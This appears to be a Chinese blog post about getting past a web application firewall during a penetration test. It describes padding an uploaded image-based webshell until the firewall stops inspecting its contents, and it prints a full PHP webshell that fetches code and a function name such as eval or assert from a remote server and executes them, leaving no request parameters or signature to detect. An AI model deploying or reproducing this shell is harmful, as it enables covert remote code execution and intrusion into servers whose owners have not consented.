waf bypass

工作原因对某站进行渗透,同样是工作原因我不能描述太细致,所以很怂的我只能靠语言文字来描述一下整个思路,再附上这次bypass的马

遇到的防火墙是一个没怎么见过的种类,大致fuzz了一下,规则有:
1. 检测内容,如果有<, >, _GET, _POST, _REQUEST, phpinfo()等函数直接ban掉
2. 检测行为,如果对上传的页面以GET或POST方式传递数据,直接ban掉

通过注入找到一个可用的用户以后(没管理),发现一个上传点。在试图上传php时发现,会对里面的内容进行检测。fuzz了多处上传点发现,有的会允许传php,有的不允许

最终第一层检测突破的方法,是上传了一个图片马。这里并不是通过解析漏洞进行执行的,而是我发现,如果上传文件的内容达到一定限度,waf会放弃对文件内容的检测。使用copy的方式合成了一个图片马,把phpinfo放到了最后面,成功上传执行

下面就需要突破第二层waf,在避免对页面进行GET或POST请求的前提下执行命令。我的思路是,让页面自己去找命令,自己执行,于是有了下面的马

<?php 

$x = file_get_contents('http://localhost/cmd/1.txt');

$y = file_get_contents('http://localhost/cmd/2.txt');

$y(($x));

if ($x){
echo 123;
}

?>

相信大家也看懂了,我们需要在外网VPS部署两个txt文件,1.txt内容是需要执行的php命令,比如phpinfo(); 2.txt内是函数,比如eval, assert

使用这种方式整个马没有任何特征,也不需要接收GET或POST请求

nofeature.jpg

  原文链接:http://www.5kik.com/phpnews/596.html

相关文章

发表评论:

验证码

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。